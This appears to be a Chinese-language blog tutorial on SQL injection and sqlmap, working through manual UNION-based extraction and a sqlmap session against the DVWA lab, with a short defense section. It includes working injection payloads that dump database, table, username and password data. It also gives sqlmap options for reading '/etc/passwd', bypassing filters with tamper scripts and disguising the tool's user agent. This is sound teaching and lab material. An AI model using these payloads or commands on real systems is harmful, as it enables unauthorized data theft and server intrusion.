SQL注入基础及SQLmap

SQL注入基础及SQLmap

一、数据库基础

1.数据库基本概念

Oracle、MySQL、SQL Server、Access、DB2、Sqlite3都使用SQL语言(增删改查等基础内容相同,扩展内容各不相同)

SQL:结构化查询语言,特点是解释型语言(JS、php、python)

虚拟机语言:java、c#

编译语言:c、c++

解释型语言容易出现注入漏洞(数据代码不区分)!!!

2.数据库内容

①数据(Data):图像、语音、文字等

在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等统称为数据

②数据库(Database):Access、MSSQL、Oracle、SQLITE、MySQL等

数据库是按照数据结构来组织、存储和管理数据的“仓库”

③数据库管理系统(DBMS):Access、MSSQL、Oracle、SQLITE、MySQL等

数据库管理系统(database management system)是一种操纵和管理数据库的软件,用于建立、使用和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性

④结构化查询语句(SQL):

结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库系统

如何区分数据库和数据库管理系统:在桌面上新建一个excel,这个excel是数据库,而excel这个软件就是数据库管理系统;这两个概念几乎是成对出现

3.数据库特性

①静态网页:

html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析

Ⅰ不依赖数据库
Ⅱ灵活性差,制作、更新、维护麻烦
Ⅲ交互性交差,在功能方面有较大的限制
Ⅳ安全,不存在SQL注入漏洞 CDN 高速缓存 WEB CACHE存放的这些内容

②动态网页:

asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页

Ⅰ依赖数据库
Ⅱ灵活性好,维护简便
Ⅲ交互性好,功能强大
Ⅳ存在安全风险,可能存在SQL注入漏洞

4.WEB应用工作原理

1

二、SQL注入基础

1.SQL注入定义

通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句

2.SQL注入的本质

代码与数据不区分

3.SQL注入的成因

未对用户提交的参数数据进行校验或有效的过滤,直接进行SQL语句拼接,改变了原有SQL语句的语义,传入数据库解析引擎中执行

4.触发SQL注入

所有的输入只要和数据库进行交互的,都有可能触发SQL注入
常见的包括:

①Get参数触发SQL注入
②POST参数触发SQL注入
③Cookie触发SQL注入
④其他参与sql执行的输入都有可能进行SQL注入

5.SQL注入的步骤

①判断Web环境是否可以SQL注入

如果URL仅是对网页的访问,则不存在SQL注入问题,如:http://news.xxx.com /12345.html就是普通的网页访问;只有对数据库进行动态查询的业务才可能存在SQL注入,如:http://music.baidu.com/search?key=11,其中?key=11表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁

②寻找SQL注入点

判断是否存在注入点:通过输入一些特殊语句,根据浏览器返回的信息,判断是否存在注入点以及获取数据库类型等有用信息(通过访问正常的业务逻辑即可)

寻找闭合(前方闭合、后方闭合):

普通查询 插入语句 模糊查询
'和" ')和") %'和%"

若上表方式都无法闭合,也有可能是不需要闭合的

注释符闭合/引号闭合:--、#、'、"

尝试sql语句是否可以注入:and 1=1 和 and 1=2。若输入and 1=1页面返回结果,则可能and成功执行或者and被过滤,此时再输入and 1=2,若是and被过滤,那么依旧显示id=x的查询结果;若是成功执行,and 1=2和id=x都生效,但1不等于2,所以无法查询出数据

获取列数

id=1 order by 3 -- 报错

id=1 order by 2 -- 可以执行

数据库列数为2列

找到回显点

id=-1 union select 1,2(有多少列数,后面就有几个数字)

union select为联合查询,将两个表的内容一起输出(若两个表列数不一样则会报错,所以需要判断列数);id=-1是为了让前面的查询语句无法查询从而不行显示内容,以便后面的查询语句成功执行并显示;1,2就是回显点(我们要针对回显点注入)

获取数据库名

id=-1 union select 1,database() --

获取表名

union select group_concat(table_name) from information_schema.tables where table_schema='数据库名'

group_concat:把若干列数据合成一列,如select 1,2,3输出一行三列的数据;select group_concat(1,2,3)输出一行一列的数据1,2,3,即组合输出

获取列名

union select group_concat(column_name) from information_schema.columns where table_name='表名'

获取数据

union select 1,group_concat(username,'->',password separator '</br>') from users --

separator '</br>'为换行;查询内容中间可以用符号隔开

③猜解用户名和密码

数据库中存放的表名、字段名都是有规律可言的,例如MySQL数据库中系统自带的information_schema信息数据库中保存着关于MySQL服务器所维护的所有其他数据库的信息,当前MySQL实例中所有数据库的信息存放在SCHEMATA表,所有表信息存放在TABLES表中,所有表中列信息存放在COLUMNS表中

攻击者可以通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容DUMP拖库。这个猜测过程可以通过网上现成的大量注入工具快速实现,并借助破解网站破译用户密码

④寻找WEB管理后台入口

通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登录路径,可以利用扫描工具快速搜索到可能的登录地址,利用社会工程学依次进行尝试,就可以试出管理台的入口地址

⑤入侵和破坏

成功登录后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息,进一步入侵数据库服务器或者获得服务器控制权限

6.SQL注入的作用

绕过登录验证:使用万能密码登录网站后台等
获取敏感数据:获取网站管理员帐号、密码等
文件系统操作:列目录,读取、写入文件等
注册表操作:读取、写入、删除注册表等
执行系统命令:远程执行命令

补充:数据库注释语法

-- :sql单行注释(--后面有个空格)

#:sql单行注释(#后可以没有空格)

/**/:sql多行注释

21

三、注入漏洞分类

按数据类型分类:

数字型和字符型

测试语句:

22

按返回结果分类:

先错注入和盲注(布尔/时间)

四、SQLmap

1.常用指令

攻击目标:

-u "url"    包含sql漏洞的页面url

-p id     手动指定sql注入的参数

获取内容:

--dbs         获取数据库名

--tables 获取表名

--columns  获取字段名

--dump 获取数据

--password 获取密码(加密的)

--user 获取用户名

--current -db 获取正在使用的数据库名称

--file-read "/etc/passwd" 读取文件内容

指定已知内容:

-D pikachu    指定名为piikachu的数据库

-D pikachu --tables 从piakchu数据库中获取表名

-T users     指定名为users的表

-C username,password 指定username和password的列

测试等级:

--level=1 可选1到5级(注入深度不同),默认1,极限3

风险等级:

--risk=1 可选1到3(注入时可能会目标服务器造成影响,1没有风险,2会进行时间盲注这类语句,会造成服务器卡顿等影响服务器正常业务,3可能会修改服务器数据,风险较大),默认1,一般1,极限3

输出等级:

-v 1 可选0到6 默认1 一般1 极限3 注入过程在命令行中显示的详细程度1,0只显示error,1还显示info信息

替换模板:

--tamper "space2comment" 将空格替换成注释(可以使用各种替换模板来绕过过滤),还有base64encode、equaltolike、charencode、ramdomcomments、randomcase等模板

自定义数据:

--cookie="PHPSESSID=2q6ekir9rqerocenebnmhblv23; security=low" 自定义cookie(需要登陆才可以访问的页面)

--data="user=xxx&pass=xxx" 自定义post表单数据

例:dvwa-Medium

16

17

--proxy="" 自定义代理

--random-agent 隐藏sqlmap特征,使用真正的浏览器ua去攻击(因为法律规定,sqlmap访问带有特定表示,可以被服务器识别出是sqlmap)

--second-url="url" 若注入点和回显点不在同一页面,使用此参数设置回显点

例:dvwa-High

先提交请求,使用burp抓包

18

19

修改payload(设置回显点)

20

其他选项:

--batch 不适用交互式攻击(自动选择默认选项)

--purge 清空缓存(sqlmap.py --purge在sqlmap出现一系列问题时使用)

DVWA示例:

难度low

查询数据库

2

提示获得了302重定向,是否跟踪链接,DVWA靶机不能随意访问,会直接跳转至登陆页面,所以需要带着身份验证信息(cookie)去攻击

3

提示数据库管理系统是Mysql,询问是否跳过其他数据库的尝试,我们这里跳过(Y大写,回车默认是Y)

询问测试等级和风险等级是否是level1(默认1即可)

4

提示get参数id是注入点,是否想测试其他参数(N大写,回车默认是N),默认回车即可

5

可以看到爆出的数据库

6

获取表名:先指定数据库,再--tables获取表

7

8

获取user表中的列名:

9

10

获取user和password数据:

15

提示询问是否爆破(回车即可)

11

提示询问字典和爆破配置(回车即可)

12

13

爆出信息

14

五、SQL注入的防御

1.SQL注入的危害

①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露

②网页篡改:通过操作数据库对特定网页进行篡改

③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击

④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改

⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统

⑥破坏硬盘数据,瘫痪全系统

一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大

2.防御思路

过滤特殊字符:

单引号、双引号、斜杠、反斜杠、冒号、空格、空字符等字符

过滤的对象:

用户的输入
提交的URL请求中的参数部分
从cookie中得到的数据
部署防SQL注入系统(WAF或者数据库防火墙等)或脚本

posted @ 2023-01-18 20:10  佐迦  阅读(388)  评论(0编辑  收藏  举报